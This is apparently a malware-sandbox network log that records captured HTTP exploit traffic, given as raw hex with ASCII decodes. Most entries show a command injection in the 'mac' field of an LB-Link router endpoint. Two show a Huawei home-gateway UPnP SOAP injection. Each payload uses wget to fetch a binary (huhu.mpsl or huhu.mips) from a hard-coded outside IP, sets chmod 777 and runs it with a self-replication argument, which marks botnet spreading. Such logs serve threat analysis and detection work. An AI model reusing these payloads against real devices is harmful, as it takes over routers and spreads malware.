Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
